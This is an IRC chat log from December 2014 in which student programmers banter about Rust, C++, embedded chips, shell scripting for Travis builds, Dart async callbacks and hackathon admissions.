[2014-12-05T00:50:39-0500] <@awe> Do you guys actually have no willpower at all?
[2014-12-05T00:51:09-0500] <nezorg> I used to be better
[2014-12-05T00:51:13-0500] <nezorg> but I've been really bad lately
[2014-12-05T00:52:38-0500] <nezorg> I'm not quite sure why
[2014-12-05T00:52:59-0500] <nezorg> I may be hooked on the high of CTFs
[2014-12-05T00:58:52-0500] <+LittleBobbyTables> awe
[2014-12-05T00:58:54-0500] <@awe> ?
[2014-12-05T00:59:03-0500] <+LittleBobbyTables> On a scale of 1-10, how well do you know C++
[2014-12-05T00:59:08-0500] <@awe> 3.5
[2014-12-05T00:59:20-0500] <nezorg> I'm more like a 2.5
[2014-12-05T00:59:21-0500] <bob_twinkles> oooh C++
[2014-12-05T00:59:25-0500] <+LittleBobbyTables> What about psychology
[2014-12-05T00:59:33-0500] <nezorg> I'm not any more sadistic than a 2.5
[2014-12-05T00:59:34-0500] <@awe> 4.5
[2014-12-05T00:59:39-0500] <+LittleBobbyTables> Damn.
[2014-12-05T00:59:39-0500] <nezorg> (C++ is not fun...)
[2014-12-05T00:59:47-0500] <@awe> nezorg: nope. It's terrible.
[2014-12-05T00:59:54-0500] <nezorg> too much implicit stuff
[2014-12-05T00:59:57-0500] <nezorg> also generally
[2014-12-05T00:59:59-0500] <nezorg> too much stuff
[2014-12-05T01:00:35-0500] <nezorg> heh, that reminds me
[2014-12-05T01:01:12-0500] <nezorg> my dad was apparently participating in a conversation about what considerations there should be for his company's next generation of chips
[2014-12-05T01:01:27-0500] <nezorg> and for software considerations he suggested to look at rust
[2014-12-05T01:01:28-0500] <nezorg> :D
[2014-12-05T01:01:41-0500] <@awe> My friend works at Bloomberg.
[2014-12-05T01:01:47-0500] <bob_twinkles> where does he work?
[2014-12-05T01:01:49-0500] <@awe> He's giving a presentation on Rust to staff there.
[2014-12-05T01:01:52-0500] <nezorg> bob_twinkles: TI
[2014-12-05T01:01:57-0500] <@awe> He's been writing software for them in Rust already.
[2014-12-05T01:02:00-0500] <nezorg> cool!
[2014-12-05T01:02:00-0500] <@awe> They just don't know. ;)
[2014-12-05T01:02:05-0500] <nezorg> :P
[2014-12-05T01:02:17-0500] <bob_twinkles> nezorg: does this mean you get calculators for a reasonable price =P
[2014-12-05T01:02:24-0500] <nezorg> bob_twinkles: no :'(
[2014-12-05T01:02:26-0500] <bob_twinkles> lol
[2014-12-05T01:02:37-0500] <nezorg> do get plenty of dev boards for free though :3
[2014-12-05T01:03:06-0500] <bob_twinkles> nice
[2014-12-05T01:03:20-0500] <bob_twinkles> TI mostly does like low-end ARM cores right?
[2014-12-05T01:03:32-0500] <nezorg> they actually do a lot
[2014-12-05T01:03:36-0500] <bob_twinkles> and I think some DSP stuff but you probably won't be running rust on a DSP...
[2014-12-05T01:03:45-0500] <nezorg> why not?
[2014-12-05T01:04:20-0500] <nezorg> there's an experimental llvm backend for some TI DSPs
[2014-12-05T01:04:42-0500] <nezorg> (my dad actually got his PhD in dsp, so DSPs are close to his heart)
[2014-12-05T01:04:59-0500] <bob_twinkles> but all the programs that run on DSPs are incredibly small right?
[2014-12-05T01:05:43-0500] <bob_twinkles> disclaimer: my only experience with hardware DSPs is from reading some pretty old Motorola docs
[2014-12-05T01:06:39-0500] <nezorg> I don't really know much about DSPs either :P
[2014-12-05T01:06:40-0500] <bob_twinkles> tryna figure out how FIR filter design works
[2014-12-05T01:06:49-0500] <bob_twinkles> it didn't really work, the math went over my head
[2014-12-05T01:06:54-0500] <nezorg> most of my work in embedded has been on general purpose arm chips
[2014-12-05T01:07:33-0500] <bob_twinkles> you could go to the moon on those!
[2014-12-05T01:08:33-0500] <@awe> I have virtually no work in embedded.
[2014-12-05T01:08:56-0500] <@awe> I've exclusively used Arduinos (thus, ATMEL) and the NI cRIO.
[2014-12-05T01:09:19-0500] <nezorg> awe: it's pretty cool and going to become bigger on the consumer side with the whole IoT thing
[2014-12-05T01:09:44-0500] <@awe> IoT thing?
[2014-12-05T01:09:46-0500] <bob_twinkles> hardware design costs $$$/$$$ money though
[2014-12-05T01:10:27-0500] <bob_twinkles> Internet of Things, basically internet-connected sensors
[2014-12-05T01:10:28-0500] <nezorg> awe: internet of things
[2014-12-05T01:10:43-0500] <bob_twinkles> well, and all the other stuff that's already on the internet
[2014-12-05T01:10:50-0500] <nezorg> the idea that everything and your sink is going to be connected to the internet
[2014-12-05T01:11:01-0500] <nezorg> (and think of how insecure everything's going to be!)
[2014-12-05T01:11:12-0500] • bob_twinkles: winces
[2014-12-05T01:11:13-0500] <nezorg> (fun times for hackers...)
[2014-12-05T01:11:20-0500] <nezorg> seriously
[2014-12-05T01:11:39-0500] <@awe> "Mom, I think nezorg hacked our fridge again!"
[2014-12-05T01:11:40-0500] <bob_twinkles> my dad ordered a bunch of parts from china to build a small thermal/smoke monitoring thing
[2014-12-05T01:11:44-0500] <nezorg> most embedded devs know about half a shit about security
[2014-12-05T01:12:00-0500] <bob_twinkles> he ended up getting called by US Customs who couldn't figure out if he was trying to build a bomb or not
[2014-12-05T01:12:24-0500] <nezorg> lol
[2014-12-05T01:12:37-0500] <nezorg> "yes, I am trying to build a bomb"
[2014-12-05T01:14:04-0500] <bob_twinkles> lol chaosagent in #picoctf
[2014-12-05T01:15:53-0500] <+ubuntor> whee compiler debugging
[2014-12-05T01:16:02-0500] <bob_twinkles> I think I've reached a new level of lazy
[2014-12-05T01:16:06-0500] <bob_twinkles>     dims = [(img_r._width, img_r._height), (img_g._width, img_g._height), (img_b._width, img_b.height)]
[2014-12-05T01:16:07-0500] <bob_twinkles>     size = dims[0]
[2014-12-05T01:16:09-0500] <bob_twinkles>     if not(all([dim == size for dim in dims])):
[2014-12-05T01:16:11-0500] <bob_twinkles>         raise ValueError("All 3 images must have the same dimmensions, but were " + str(dims))
[2014-12-05T01:16:58-0500] <bob_twinkles> ubuntor: what compiler are you debuggin?
[2014-12-05T01:17:09-0500] <+ubuntor> valac
[2014-12-05T01:19:05-0500] <bob_twinkles> first impressions: it looks like java that compiles to C and requires you use libgnome, would not recommend
[2014-12-05T01:20:42-0500] <bob_twinkles> eh, could be fun to play with
[2014-12-05T01:20:51-0500] <nezorg> bob_twinkles: if not all(all(getattr(img_r, prop) == getattr(img, prop) for img in (img_g, img_b)) for prop in ('_width', '_height')): raise ValueError("...")
[2014-12-05T01:21:14-0500] <nezorg> ^ production-ready code right there
[2014-12-05T01:22:05-0500] <bob_twinkles> I need to use size later though, so it's useful to have around
[2014-12-05T01:22:38-0500] <nezorg> nyeh
[2014-12-05T01:22:51-0500] <nezorg> you can't argue with almost-sleep-hungry me
[2014-12-05T01:23:28-0500] <bob_twinkles> I mean the premise of this project is "wow the software we're using in geosystems really sucks, I'm just gonna generate the data we need from the source files myself"
[2014-12-05T01:23:32-0500] <bob_twinkles> so I'm already doing it wrong
[2014-12-05T01:24:16-0500] <nezorg> very nice
[2014-12-05T01:25:39-0500] <nezorg> var_type = (lambda x: SimTypeInt(x, True)) if match.group(2) == 'S' else (SimTypeReg if match.group(2) == 'U' else SimTypeReg)
[2014-12-05T01:25:43-0500] <nezorg> I love reading my insane code
[2014-12-05T01:27:09-0500] <bob_twinkles> you're swapping between a lambda and functions using nested tertiary operators?
[2014-12-05T01:27:10-0500] <bob_twinkles> I like it
[2014-12-05T01:27:43-0500] <+LittleBobbyTables> Tertiary seems so weird..
[2014-12-05T01:27:49-0500] <nezorg> bob_twinkles: not even functions, a class :P
[2014-12-05T01:27:53-0500] <nezorg> python is great
[2014-12-05T01:28:19-0500] <+LittleBobbyTables> ternary just seems so much cooler
[2014-12-05T01:36:29-0500] <nezorg> isn't this beautiful
[2014-12-05T01:36:30-0500] <nezorg> plugin_state_merged, new_constraints = merged.plugins[p].merge([ _.plugins[p] for _ in others ], merge_flag, merge_values)
[2014-12-05T01:43:23-0500] <@awe> nezorg: https://github.com/aaronweiss74/rustlike
[2014-12-05T01:43:57-0500] <nezorg> awe: very far along I see
[2014-12-05T01:44:05-0500] <@awe> lol
[2014-12-05T01:44:09-0500] <@awe> You can make an @ and walk around.
[2014-12-05T01:44:16-0500] <nezorg> :O
[2014-12-05T01:45:13-0500] <nezorg> when I get time I might look into making a sort of ORM with the new ops changes
[2014-12-05T01:46:39-0500] <@awe> Is there an easy way to have travis do something in every directory?
[2014-12-05T01:46:59-0500] <@awe> i.e. I have a bunch of folders and I want travis to run cargo build in all of them.
[2014-12-05T01:47:40-0500] <@awe> Or I guess a better question would be, guys, how do you run a command in every folder in CLI?
[2014-12-05T01:48:12-0500] <@awe> bob_twinkles: ?
[2014-12-05T01:48:17-0500] <@awe> You're good at this stuff.
[2014-12-05T01:48:21-0500] <nezorg> find . -type d -exec do_something {} \;
[2014-12-05T01:48:22-0500] <nezorg> ?
[2014-12-05T01:48:23-0500] <bob_twinkles> doesn't travis just run a shell script when it kicks off a build?
[2014-12-05T01:48:27-0500] <@awe> Yeah.
[2014-12-05T01:48:34-0500] <bob_twinkles> nezorg just did it for you =P
[2014-12-05T01:48:42-0500] <nezorg> (assuming you want recursive)
[2014-12-05T01:48:48-0500] <@awe> I don't.
[2014-12-05T01:48:55-0500] <@awe> I just want all the subdirectories of the directory I'm in.
[2014-12-05T01:49:05-0500] <nezorg> then add -maxdepth 1
[2014-12-05T01:50:01-0500] <@awe> White-Pillar:awebot-plugins Aaron$ find . -type d -maxdepth 1 -exec cargo build {} \;
[2014-12-05T01:50:01-0500] <@awe> Invalid arguments.
[2014-12-05T01:50:01-0500] <@awe> Usage:
[2014-12-05T01:50:01-0500] <@awe>     cargo build [options]
[2014-12-05T01:50:02-0500] <@awe> Wat?
[2014-12-05T01:50:13-0500] <bob_twinkles> "cargo build"
[2014-12-05T01:50:15-0500] <bob_twinkles> not cargo build
[2014-12-05T01:50:17-0500] <@awe> Ah.
[2014-12-05T01:50:27-0500] <nezorg> no, that is what he wants
[2014-12-05T01:50:32-0500] <@awe> no such file or directory.
[2014-12-05T01:50:33-0500] <@awe> Yeah.
[2014-12-05T01:50:40-0500] <nezorg> the problem is that `cargo build` only works for the cwd
[2014-12-05T01:50:45-0500] <@awe> Yeah.
[2014-12-05T01:51:06-0500] <@awe> Is this a parameterized thing?
[2014-12-05T01:51:09-0500] <Hyper> awe: are you copying me? D:
[2014-12-05T01:51:12-0500] <@awe> Hyper: ?
[2014-12-05T01:51:21-0500] <Hyper> https://github.com/Hypersonic/RageLake
[2014-12-05T01:51:24-0500] <Hyper> awe: ^
[2014-12-05T01:51:40-0500] <@awe> Hyper: yours is way better.
[2014-12-05T01:51:44-0500] <Hyper> <3
[2014-12-05T01:51:55-0500] <Hyper> I've been working on it way longer, though
[2014-12-05T01:52:08-0500] <@awe> I can tell.
[2014-12-05T01:52:30-0500] <@awe> You started before I started my IRC library.
[2014-12-05T01:52:41-0500] <@awe> nezorg: so, what do?
[2014-12-05T01:53:16-0500] <nezorg> errrrm
[2014-12-05T01:53:17-0500] <bob_twinkles> http://pastebin.com/vuJhtN0s
[2014-12-05T01:53:18-0500] <bob_twinkles> awe ^
[2014-12-05T01:53:21-0500] <bob_twinkles> maybe
[2014-12-05T01:53:33-0500] <bob_twinkles> I don't actually know if that will work properly
[2014-12-05T01:53:47-0500] <@awe> find: cargo_build: No such file or directory
[2014-12-05T01:53:47-0500] <@awe> find: cargo_build: No such file or directory
[2014-12-05T01:53:47-0500] <@awe> find: cargo_build: No such file or directory
[2014-12-05T01:53:47-0500] <@awe> find: cargo_build: No such file or directory
[2014-12-05T01:53:48-0500] <@awe> Spammed this.
[2014-12-05T01:54:41-0500] <nezorg> it has to actually be in the path
[2014-12-05T01:54:41-0500] <bob_twinkles> put http://pastebin.com/ED6yfMa1 in a file called like "cargo_build.sh"
[2014-12-05T01:54:48-0500] <@awe> lol
[2014-12-05T01:54:54-0500] <bob_twinkles> and then run that script =P
[2014-12-05T01:54:58-0500] <nezorg> that doesn't seem great either
[2014-12-05T01:55:03-0500] <@awe> There's got to be a better solution.
[2014-12-05T01:55:10-0500] <bob_twinkles> call it process_directory or something like that
[2014-12-05T01:55:14-0500] <bob_twinkles> if it makes you hapier
[2014-12-05T01:55:36-0500] <nezorg> try
[2014-12-05T01:55:46-0500] <nezorg> for d in *; do
[2014-12-05T01:56:07-0500] <nezorg>   if [ -d "$d" ]; then
[2014-12-05T01:56:18-0500] <nezorg>     pushd "$d"
[2014-12-05T01:56:23-0500] <nezorg>       cargo build
[2014-12-05T01:56:28-0500] <nezorg>       popd
[2014-12-05T01:56:39-0500] <nezorg>   fi
[2014-12-05T01:56:40-0500] <nezorg> done
[2014-12-05T01:56:55-0500] <@awe> Perfect.
[2014-12-05T01:57:07-0500] <@awe> Thanks nezorg.
[2014-12-05T01:57:17-0500] <nezorg> wow I actually remembered shell scripting right O_O
[2014-12-05T01:57:20-0500] <nezorg> haven't used that in a while
[2014-12-05T01:59:28-0500] <nezorg> awe: that won't get hidden directories though
[2014-12-05T01:59:32-0500] <@awe> That's fine.
[2014-12-05T01:59:34-0500] <@awe> They're not hidden.
[2014-12-05T01:59:35-0500] <nezorg> k
[2014-12-05T01:59:48-0500] <@awe> This is for awebot-plugins.
[2014-12-05T01:59:50-0500] <@awe> So, they're all just folders.
[2014-12-05T02:18:36-0500] <@awe> nezorg: https://travis-ci.org/aaronweiss74/awebot-plugins
[2014-12-05T02:18:38-0500] <@awe> nezorg: uh-oh.
[2014-12-05T02:19:02-0500] <@awe> nezorg: two things: one, I need it to ignore a specific directory
[2014-12-05T02:19:14-0500] <@awe> nezorg: two, I need it to return an error code if any of the processes failed.
[2014-12-05T02:24:39-0500] <@awe> https://travis-ci.org/aaronweiss74/awebot-plugins/builds/43067382
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[2014-12-05T11:03:53-0500] <nezorg> no one spoke in the last 12 hours? :S
[2014-12-05T11:06:36-0500] <@awe> nezorg: Looks like no.
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[2014-12-05T13:31:16-0500] <@awe> Okay, I have the best of both worlds now. I'm always online, and I also can use IRCCloud on my phone.
[2014-12-05T13:31:40-0500] <@awe> So, I have an IRC client on mobile again.
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[2014-12-05T19:30:05-0500] <+LittleBobbyTables> >hey mom can I take your harddrive out because we don't have another optical drive anywhere?
[2014-12-05T19:30:05-0500] <+LittleBobbyTables> >why didn't you buy one?
[2014-12-05T19:30:05-0500] <+LittleBobbyTables> >don't need one for 99% of the things, just this one. why not go to *local computer shop* and buy one?
[2014-12-05T19:30:05-0500] <+LittleBobbyTables> >no its too expensive
[2014-12-05T19:30:07-0500] <+LittleBobbyTables> uhhh wut
[2014-12-05T19:30:19-0500] <+LittleBobbyTables> "y u no buy part" "no dont buy part its too much"
[2014-12-05T19:42:37-0500] <@awe> LittleBobbyTables: lol'd
[2014-12-05T19:43:25-0500] <bob_twinkles> I don't have the patience to read through the dart4idiots tutorials but I keep wasting time on stupid simple stuff
[2014-12-05T19:43:27-0500] <bob_twinkles> wat do
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[2014-12-05T19:45:36-0500] <@awe> bob_twinkles: lol
[2014-12-05T19:45:39-0500] <@awe> bob_twinkles: probably read it
[2014-12-05T19:46:02-0500] <bob_twinkles> also I refuse to use the dart IDE because fuck netbeans
[2014-12-05T19:46:09-0500] <bob_twinkles> so I have no idea how to get code to actually run
[2014-12-05T19:49:32-0500] <@awe> bob_twinkles: mentally.
[2014-12-05T19:50:28-0500] <bob_twinkles> oh I figured it out
[2014-12-05T19:50:35-0500] <bob_twinkles> declare the script as a real script type
[2014-12-05T19:50:42-0500] <bob_twinkles> instead of application/dart
[2014-12-05T19:55:45-0500] <bob_twinkles> why am I writing dart?
[2014-12-05T19:55:56-0500] <bob_twinkles> because I got nerd sniped by my math teacher, that's why
[2014-12-05T20:02:32-0500] <@awe> bob_twinkles: did he suggest that you need to know it?
[2014-12-05T20:02:49-0500] <bob_twinkles> no
[2014-12-05T20:02:55-0500] <bob_twinkles> y'know vector fields?
[2014-12-05T20:03:16-0500] <@awe> Maybe?
[2014-12-05T20:08:11-0500] <bob_twinkles> argh, I can't find the demo he used in class
[2014-12-05T20:08:54-0500] <bob_twinkles> but basically the idea is that you have some function f(x, y) that returns a vector
[2014-12-05T20:10:06-0500] <bob_twinkles> and you assume f(x, y) is the gradient of some underlying scalar field
[2014-12-05T20:10:41-0500] <bob_twinkles> well, that part isn't important
[2014-12-05T20:11:42-0500] <bob_twinkles> the demo he was using allowed you to draw a box and then it would show how that box was deformed if it were made up of a bunch of particles which had their velocity determined by the vector field
[2014-12-05T20:11:58-0500] <bob_twinkles> so like of f(x, y) = (1, 0) all the particles would move right
[2014-12-05T20:12:19-0500] <bob_twinkles> or if f(x, y) = (-y, x) the box would rotate around the origin
[2014-12-05T20:13:14-0500] <bob_twinkles> but the way the simulation was written it sort of broke down for "interesting" stuff like f(x, y) = (-y / (x^2 + y^2), x / (x^2 + y^2))
[2014-12-05T20:17:02-0500] <bob_twinkles> ... this would make more sense if you could see the demo but it's proving quite evasive
[2014-12-05T20:17:10-0500] <@awe> I think I understand.
[2014-12-05T20:18:59-0500] <bob_twinkles> the reason I got nerd sniped is that I spent the rest of school figuring out how I would go about creating that simulation
[2014-12-05T20:19:34-0500] <bob_twinkles> and I really want to try out my ideas but if it's going to be useful I can't write it in C like I normally would since it has to run on a school laptop
[2014-12-05T20:19:48-0500] <@awe> So, why dart?
[2014-12-05T20:20:01-0500] <bob_twinkles> it seems relatively sane
[2014-12-05T20:20:08-0500] <bob_twinkles> and has interoperability with webgl
[2014-12-05T20:20:46-0500] <bob_twinkles> there's no way in hell I want to write opengl code in a dynamically typed language
[2014-12-05T20:21:10-0500] <@awe> That's fair.
[2014-12-05T20:22:03-0500] <bob_twinkles> can't use rust either =P
[2014-12-05T20:22:12-0500] <@awe> Same reason as C, right?
[2014-12-05T20:22:16-0500] <bob_twinkles> yep
[2014-12-05T20:22:24-0500] <@awe> Unfortunate.
[2014-12-05T20:22:33-0500] <bob_twinkles> https://ece.uwaterloo.ca/~ece206/Supporting_material/37/ < the animations on this page are pretty close to what I want to create
[2014-12-05T20:23:52-0500] <@awe> Okay.
[2014-12-05T20:23:57-0500] <@awe> I got it.
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[2014-12-05T21:37:28-0500] <kc> hi peoples
[2014-12-05T21:37:35-0500] • kc: is hardmath123
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[2014-12-05T21:38:31-0500] <+LittleBobbyTables> Eleng555: I wonder how much she actually believes us
[2014-12-05T21:38:47-0500] <Eleng555> no clue haha
[2014-12-05T21:42:28-0500] <+LittleBobbyTables> Eleng555: who's jennifer
[2014-12-05T21:42:39-0500] <Eleng555> Jennifer?
[2014-12-05T21:43:00-0500] <+LittleBobbyTables> Jennifer Zhang
[2014-12-05T21:43:17-0500] <+LittleBobbyTables> Apparently she's a Junior
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[2014-12-05T22:14:25-0500] <alokpathy> .ninja's are  a dollar today
[2014-12-05T22:23:28-0500] <@awe> fluffybunny.ninja
[2014-12-05T22:25:28-0500] <+hardmath123> aww, fruit.ninja is registered
[2014-12-05T22:25:48-0500] <@awe> By the fruitninja people?
[2014-12-05T22:26:11-0500] <+hardmath123> i don't think so
[2014-12-05T22:26:40-0500] <+hardmath123> ninja mail is handled by 10 your-dns-needs-immediate-attention.fruit.ninja
[2014-12-05T22:26:42-0500] <+hardmath123> O.o
[2014-12-05T22:26:59-0500] <alokpathy> Darn Jacob wanted me to get some domains for him
[2014-12-05T22:27:07-0500] <alokpathy> but I only have $8 in NC credits
[2014-12-05T22:27:14-0500] <alokpathy> and he went offline so idk which one to remove
[2014-12-05T22:28:32-0500] <@awe> hardmath123: lol
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[2014-12-05T22:39:06-0500] <alokpathy> PennApps results are out.
[2014-12-05T22:39:59-0500] <@awe> We didn't get in.
[2014-12-05T22:39:59-0500] <@awe> .-.
[2014-12-05T22:40:06-0500] <+LittleBobbyTables> awe
[2014-12-05T22:40:10-0500] <+LittleBobbyTables> You should totally be a part of the uhh
[2014-12-05T22:40:15-0500] <+LittleBobbyTables> intel retail edge
[2014-12-05T22:40:16-0500] <@awe> I'm sad.
[2014-12-05T22:40:20-0500] <+LittleBobbyTables> Then sell me some cpu's <3
[2014-12-05T22:41:18-0500] <alokpathy> awe: Wait what
[2014-12-05T22:41:19-0500] <alokpathy> I did
[2014-12-05T22:41:42-0500] <alokpathy> wat
[2014-12-05T22:41:55-0500] <@awe> alokpathy: oh, maybe we just bug them then if they let half our team in.
[2014-12-05T22:42:13-0500] <alokpathy> awe: Might be able to, yeah.
[2014-12-05T22:42:20-0500] <alokpathy> Did you put the team code in for the application?
[2014-12-05T22:42:25-0500] <@awe> Yeah.
[2014-12-05T22:42:30-0500] <@awe> I definitely did.
[2014-12-05T22:42:55-0500] <alokpathy> Okay. Then, yeah, we can probably bug them.
[2014-12-05T22:43:03-0500] <alokpathy> In fact, the same guys who run PennApps run PClassic
[2014-12-05T22:43:04-0500] <alokpathy> which is tomorrow.
[2014-12-05T22:43:18-0500] <alokpathy> We can bug them in person heh.
[2014-12-05T22:43:21-0500] <+LittleBobbyTables> I emailed github again
[2014-12-05T22:43:21-0500] <@awe> Go bug him about the fact that I didn't get in then.
[2014-12-05T22:43:24-0500] <+LittleBobbyTables> And still have no response.
[2014-12-05T22:45:07-0500] <bob_twinkles> why is it so goddamn difficult to just request a file from the server from a browser T_T
[2014-12-05T22:47:56-0500] <+LittleBobbyTables> How so
[2014-12-05T22:48:56-0500] <bob_twinkles> there's no way to just say "wake me up when this async request finishes"
[2014-12-05T22:49:04-0500] <bob_twinkles> you have to chain like 3 levels of async callbacks
[2014-12-05T22:49:57-0500] <+LittleBobbyTables> No you don't?
[2014-12-05T22:50:00-0500] <+LittleBobbyTables> Wait what language
[2014-12-05T22:50:33-0500] <bob_twinkles> dart
[2014-12-05T22:50:40-0500] <+LittleBobbyTables> oh
[2014-12-05T22:50:46-0500] <+LittleBobbyTables> I was like
[2014-12-05T22:50:50-0500] <+LittleBobbyTables> "async and callbacks, must be node"
[2014-12-05T22:50:59-0500] <bob_twinkles> well it compiles to javascript
[2014-12-05T22:51:43-0500] <bob_twinkles> and AFAIK the HttpResponse stuff is more or less a 1:1 mapping on top of javascript intrinsics
[2014-12-05T22:54:28-0500] <bob_twinkles> there's no good reason for there not to be some sort of synchronous API either since I'm like 90% sure all the callback code executes on the main thread anyway
[2014-12-05T22:54:40-0500] <bob_twinkles> if it doesn't I'm really screwed =P
[2014-12-05T22:55:50-0500] <+LittleBobbyTables> callbacks are dumb
[2014-12-05T22:56:19-0500] <+hardmath123> JS is single-threaded, so you can't be waiting for some process to complete (you'll freeze the browser).
[2014-12-05T22:57:04-0500] <bob_twinkles> no but why can't they provide an API that makes it _seem_ like a blocking operation from the perspective of the JS code
[2014-12-05T22:57:19-0500] <bob_twinkles> I don't care if it blocks the native thread f'real or not
[2014-12-05T22:57:45-0500] <bob_twinkles> somehow browsers internally have a mechanism for worker threads to say "yo dawg, I'm done, hit me up for your data"
[2014-12-05T22:57:46-0500] <+hardmath123> that's basically a coroutine
[2014-12-05T22:58:26-0500] <bob_twinkles> so have the JS engine hook in to that automatically instead of me having to go through callback hell to get a sequence of things done
[2014-12-05T22:58:48-0500] <+hardmath123> so there are a bunch of libraries out there to do that
[2014-12-05T22:58:53-0500] <+hardmath123> arrowlets, promises, whatever
[2014-12-05T23:00:23-0500] <+hardmath123> http://www.html5rocks.com/en/tutorials/es6/promises/, for instance
[2014-12-05T23:02:03-0500] <bob_twinkles> ... that's exactly the paradigm I _don't_ want to use
[2014-12-05T23:02:43-0500] <bob_twinkles> thing = fake_blocking_request(); // script continues when the "blocking" work is done, surrenders control back to the browser thread
[2014-12-05T23:03:40-0500] <+hardmath123> Well, that's basically the idea behind coroutines
[2014-12-05T23:04:01-0500] <+LittleBobbyTables> holy fuck
[2014-12-05T23:04:13-0500] <+LittleBobbyTables> my tv speaker quality is bad (it's like 20 years old)
[2014-12-05T23:04:15-0500] <+hardmath123> that a process can be suspended by yielding, and then be resumed by whatever it yielded to
[2014-12-05T23:04:20-0500] <+LittleBobbyTables> I heard "Shark Semen Spray"
[2014-12-05T23:04:22-0500] <+LittleBobbyTables> I was like what the fuck
[2014-12-05T23:04:33-0500] <+LittleBobbyTables> But no, she said "steam 'n' spray"
[2014-12-05T23:04:44-0500] <+hardmath123> JS doesn't have coroutines yet, but it will in ECMAScript 6.
[2014-12-05T23:05:10-0500] <bob_twinkles> which helps me exactly 0 right now =P
[2014-12-05T23:05:53-0500] <+hardmath123> well, now you know that there are frighteningly smart people at Google and Mozilla who know of and get paid to solve your problem. :)
[2014-12-05T23:06:44-0500] <bob_twinkles> I'm all warm and fuzzy but my code still doesn't work and looks like shit XD
[2014-12-05T23:08:38-0500] <+hardmath123> if you use callbacks disciplinedly, you can actually have legible code
[2014-12-05T23:08:50-0500] <+hardmath123> it's just 40% more sloc than you would need otherwise
[2014-12-05T23:11:39-0500] <bob_twinkles> I _can_ but it's like using a bunch of >> and >>= in haskell instead of do notation
[2014-12-05T23:11:55-0500] <bob_twinkles> it works, it's kinda readable but there's a better way it could be
[2014-12-05T23:12:20-0500] <+hardmath123> keep in mind that it's not trivial at all to implement that
[2014-12-05T23:13:18-0500] <+hardmath123> v8, etc. do a lot of optimization behind the scenes, and you need to be really careful when you're introducing coroutines or you'll break them
[2014-12-05T23:16:15-0500] <bob_twinkles> yeah but most of the machinery for that is already there, the optimizer is aware of callbacks
[2014-12-05T23:16:57-0500] <bob_twinkles> just some syntaxial sugar that implicitly adds the .next() calls would be fine
[2014-12-05T23:17:32-0500] <+hardmath123> if you're enterprising, get JacobEdelman to write some sweet.js that does that for you :P
[2014-12-05T23:19:17-0500] <bob_twinkles> sweet.js looks amazing, dangerous and slow =P
[2014-12-05T23:20:31-0500] <bob_twinkles> https://gist.github.com/puffnfresh/3831514
[2014-12-05T23:20:34-0500] <+hardmath123> like radioactive poisoning?
[2014-12-05T23:20:37-0500] <bob_twinkles> someone has already done it =P
[2014-12-05T23:21:11-0500] <bob_twinkles> wait no
[2014-12-05T23:24:01-0500] <bob_twinkles> we should all just go back to writing C where things make sense
[2014-12-05T23:24:48-0500] <+hardmath123> or Scheme where everything is beautiful
[2014-12-05T23:26:26-0500] <+LittleBobbyTables> or ASM where everything is obfuscated just by writing it.
[2014-12-05T23:26:51-0500] <+hardmath123> i hate essay writing
[2014-12-05T23:27:32-0500] <bob_twinkles> ain't that the truth
[2014-12-05T23:27:45-0500] <bob_twinkles> I think I need to come back to this when I'm more awake
[2014-12-05T23:28:11-0500] <bob_twinkles> I keep trying to write imperative code and the amount of Future is making that ugly which indicates I've made some fundamentally incorrect design decisions
[2014-12-05T23:28:24-0500] <+LittleBobbyTables> hey hardmath123 
[2014-12-05T23:28:28-0500] <+LittleBobbyTables> wanna write a psych essay for me
[2014-12-05T23:28:30-0500] <+LittleBobbyTables> It's my final
[2014-12-05T23:29:08-0500] <+hardmath123> if you write a decent essay on *Lord of the Flies*
[2014-12-05T23:29:16-0500] <+hardmath123> i'd settle for a decent thesis statement
[2014-12-05T23:29:19-0500] <+LittleBobbyTables> I love that book
[2014-12-05T23:29:52-0500] <benwaffle> guys 
[2014-12-05T23:30:01-0500] <+hardmath123> I would have enjoyed it if my teacher hadn't spent every last moment shoving contrived symbolism down our throats
[2014-12-05T23:30:03-0500] <benwaffle> half of all chrome memory allocations come from std::string
[2014-12-05T23:30:30-0500] <bob_twinkles> well considering the amount of text a web browser throws around =P
[2014-12-06T00:01:40-0500] <Hyper> yay pennapps :D
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[2014-12-06T01:15:47-0500] <@awe> benwaffle: web browsers are so memory inefficient. :(
[2014-12-06T01:39:11-0500] <@awe> LittleBobbyTables: You still haven't purchased me Starbound. :(
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[2014-12-06T09:42:53-0500] <JacobEdelman> I am here 
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[2014-12-06T10:06:15-0500] <JacobEdelman> Tamini_: Tamini where are you?
[2014-12-06T10:06:25-0500] <JacobEdelman> I'm watching dr. gandhis lecture
[2014-12-06T10:06:26-0500] <Tamini_> driving
[2014-12-06T10:06:27-0500] <Tamini_> LOL
[2014-12-06T10:06:35-0500] <Tamini_> ohh, you guys talk about him all the time
[2014-12-06T10:06:43-0500] <JacobEdelman> .... are you driving or is somebody driving you?
[2014-12-06T10:06:49-0500] <JacobEdelman> also, why are you so late?
[2014-12-06T10:06:53-0500] <JacobEdelman> the cool lecture is now
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[2014-12-06T10:07:13-0500] <JacobEdelman> alokpathy: tamini is driving here
[2014-12-06T10:07:15-0500] <JacobEdelman> or something
[2014-12-06T10:07:18-0500] <JacobEdelman> shes not here right now
[2014-12-06T10:07:24-0500] <JacobEdelman> but she is on the irc
[2014-12-06T10:07:38-0500] <alokpathy> Hi Tamini_ 
[2014-12-06T10:07:42-0500] <alokpathy> or Tamini 
[2014-12-06T10:09:27-0500] <Tamini_> hi apothy
[2014-12-06T10:09:37-0500] <Tamini_> and JacobEdelman im obviously like
[2014-12-06T10:09:41-0500] <Tamini_> driving and texting
[2014-12-06T10:09:45-0500] <Tamini_> obv
[2014-12-06T10:09:49-0500] <alokpathy> Tamini_: Wow so unsafe
[2014-12-06T10:09:56-0500] <Tamini_> and lol i live like 4 hours away
[2014-12-06T10:10:15-0500] <Tamini_> im sorry i get there by like 10:24
[2014-12-06T10:11:59-0500] <alokpathy> So exact
[2014-12-06T10:12:31-0500] <JacobEdelman> I gotta say I;m impressed
[2014-12-06T10:12:48-0500] <JacobEdelman> dr. gandhi already refused to call on brice and chris
[2014-12-06T10:12:54-0500] <JacobEdelman> and they havn't even said anything
[2014-12-06T10:13:49-0500] <JacobEdelman> (dr. gandhi stops calling on people when they answer too many questions cause he doesn't just want the people who understand the stuff to answer all the questions)
[2014-12-06T10:15:13-0500] <Tamini_> lolol
[2014-12-06T10:15:31-0500] <Tamini_> yo do you know where your stuff is
[2014-12-06T10:15:43-0500] <alokpathy> Tamini_: What stuff?
[2014-12-06T10:21:36-0500] <Tamini_> like
[2014-12-06T10:21:40-0500] <Tamini_> place
